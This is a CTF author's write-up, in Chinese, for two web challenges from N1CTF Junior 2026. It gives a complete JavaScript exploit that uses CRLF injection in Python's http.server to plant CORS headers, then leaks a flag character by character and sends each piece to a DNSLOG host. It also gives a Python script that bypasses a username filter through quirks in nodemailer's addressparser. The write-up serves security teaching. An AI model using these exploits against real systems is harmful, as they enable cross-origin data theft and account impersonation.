N1CTF Junior 2026 1/2 出题小记
这次依旧是出了两道题
posetman在预期范围内
但是notes差点零解,不得已上了hint是我没想到的
可能是大部分师傅都默认http.server 这种官方库应该不存在CRLF这种问题吧,,,
以下是wp
Notes
题目提供了一个笔记应用,admin用户在初始化时会创建一个包含flag的笔记
我们需要让bot访问恶意链接来窃取flag
在 app/handlers/notes.py 中,export_notes 函数负责处理笔记的导出。它接收 filename 参数,并将其直接放入 Content-Disposition 响应头中
def export_notes(self, username, search_query, filename):
# ...
try:
self.send_header('Content-Disposition', f'attachment; filename="{filename}"')
except ValueError:
pass
self.send_header("X-Content-Type-Options", "nosniff")
self.send_header("Content-type", "application/json")
# ...
self.wfile.write(json.dumps(export_data, indent=2).encode())而在 http.server 中,查看send_header的实现可知其存在 CRLF 问题
def send_header(self, keyword, value):
# ...
self._headers_buffer.append(
("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))
# ... 这里完全没有对换行符等进行过滤,因此攻击者可以在 filename 参数中插入 \r\n,从而注入任意 HTTP 响应头
应用提供了一个搜索接口 /api/search?q=...,如果搜索命中,它会返回结果的 JSON 列表
正常情况下,由于同源策略的限制,攻击者控制的页面无法通过 fetch 等方法直接读取响应内容
但是,结合上述的 CRLF 注入漏洞,我们可以注入 CORS 请求头,从而允许跨域读取:
Access-Control-Allow-Origin: <Attacker_Origin>
Access-Control-Allow-Credentials: true原始header是:
Content-Disposition: attachment; filename="<Input>"我们需要闭合双引号,换行,注入 CORS 头,最后将原本后面自带的引号清理掉
const ORIGIN = window.location.origin;
const PAYLOAD = `1"
Access-Control-Allow-Origin: ${ORIGIN}
Access-Control-Allow-Credentials: true
X-Padding: `;
const filename = encodeURIComponent(PAYLOAD).replace(/%0A/g, '%0d%0a');注入后的响应头大致如下:
Content-Disposition: attachment; filename="1"
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true
X-Padding: "
Content-type: application/json
...有了CORS头后,我们就可以进行 xsleak 了
如果当前的 data.results.length > 0,说明搜索内容与flag匹配,然后按位爆破
exp:
<script>
const TARGET = "http://127.0.0.1:5000";
const DNSLOG = "<dnslog>";
const CHARSET = "_}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const ORIGIN = window.location.origin;
const PAYLOAD = `1"
Access-Control-Allow-Origin: ${ORIGIN}
Access-Control-Allow-Credentials: true
X-Padding: `;
const filename = encodeURIComponent(PAYLOAD).replace(/%0A/g, '%0d%0a');
async function check(char, currentFlag) {
const query = currentFlag + char;
const url = `${TARGET}/api/search?q=${encodeURIComponent(query)}&filename=${filename}`;
try {
const response = await fetch(url, {credentials: 'include'});
const data = await response.json();
if (data.results && data.results.length > 0) {
return true;
}
} catch (e) {
}
return false;
}
async function exploit() {
let flag = "flag{";
while (!flag.endsWith("}")) {
let foundChar = false;
for (let char of CHARSET) {
const isFound = await check(char, flag);
if (isFound) {
flag += char;
foundChar = true;
fetch(`${DNSLOG}/?flag=` + encodeURIComponent(flag));
break;
}
}
if (!foundChar) break;
}
fetch(`${DNSLOG}/?final=` + encodeURIComponent(flag));
}
exploit();
</script>将上述代码部署在公网服务器,提交 URL 给 bot,即可在 dnslog 中收到 flag
建议使用 firefox 进行本地测试,因为 chrome 的 Private Network Access 机制会阻止公网访问内网的请求,可能无法正常本地打通
另外, firefox 的安全限制似乎也要稍微宽松点
Postman
题目是一个简单的邮件发送与接收系统
发送邮件的逻辑位于/send,通过检测解析后的用户名和邮箱解析结果来决定是否附带Flag
const senderUser = USERS.find(u => u.username === senderUsername);
const recipientUser = USERS.find(u => u.username === recipientUsername);
if (!senderUser || !recipientUser) {
return res.send("Error");
}
const rawFrom = `${senderUser.username} <${senderUser.email}>`;
const parsed = addressparser(rawFrom);
const len = parsed.length;
const senderEntry = parsed[len - 1];
if (!senderEntry) {
return res.send("Error");
}
const resolvedEmail = senderEntry.address;
const resolvedUsername = senderEntry.name;
let finalContent = content;
if (resolvedEmail === ADMIN_EMAIL && resolvedUsername === ADMIN_USERNAME) {
finalContent += `\n\nAdmin's flag: ${FLAG}`;
}这里将用户名和邮箱进行拼接,规则是{name} <{name}@test.com>,并使用了nodemailer/lib/addressparser来解析拼接后的字符串
只需要同时让解析后发信者的用户名和邮箱分别为Administrator和[email protected],即可在信件内容中加入flag
注册的WAF逻辑如下:
const invalidChars = [' ',',','"',"'",'\\','/','`',';','%','<', '>','[',']','{','}','|',':'];
// ...
if (username.toLowerCase().includes("admin")) {
return res.render('index', { page: 'login', error: "Username contains invalid characters." });
}黑名单禁止了大部分特殊字符,同时检测了admin关键字
阅读addressparser的源码,发现Tokenizer中的checkChar函数会删除ASCII值小于33并且不是空格和\t的字符
if (chr.charCodeAt(0) >= 0x21 || [' ', '\t'].includes(chr)) {
// skip command bytes
this.node.value += chr;
}继续阅读解析规则后可知,在解析用户名和地址时,左括号(会开启注释模式,一直到闭合
并且当要解析的具体内容没有<>时,会尝试进行匹配
if (!data.address.length) {
for (...) {
//匹配邮箱
if (data.address.length) {break;}
}
}也就是说,类似于name [email protected]会被正确解析
然后\n会被转化为空格
if (chr === '\n') {
chr = ' ';
}结合以上分析,便可构造出如下用户名:
Ad\vministrator\nad\vmin@ad\vmin.com(
后端拼接后的字符串变为:
Ad\vministrator\nad\vmin@ad\vmin.com( <Ad\vministrator\nad\vmin@ad\vmin.com(@test.com>其中\v会被删除,\n转化为空格,(会使后续内容无效
因此解析后会是
{
"address": "[email protected]",
"name": "Administrator"
}然后给自己发送信件,即可拿到flag
exp:
import requests
import re
url = "http://localhost:5000"
def register(username, password):
data = {
"username": username,
"password": password
}
response = requests.post(f"{url}/register", data=data)
return response.text
def send(session, to, subject, body):
data = {
"recipientUsername": to,
"subject": subject,
"content": body
}
response = session.post(f"{url}/send", data=data)
return response.text
def login(username, password):
session = requests.Session()
data = {
"username": username,
"password": password
}
response = session.post(f"{url}/login", data=data)
return session, response.text
def check(session):
response = session.get(f"{url}/")
try:
flag = re.findall(r'flag\{.*?\}', response.text)[0]
except IndexError:
flag = "Flag not found"
return flag
if __name__ == "__main__":
username = "Ad\vministrator\nad\vmin@ad\vmin.com("
password = "1"
register(username, password)
session, _ = login(username, password)
print(session.cookies.get_dict())
send(session, username, "1", "1")
print(check(session))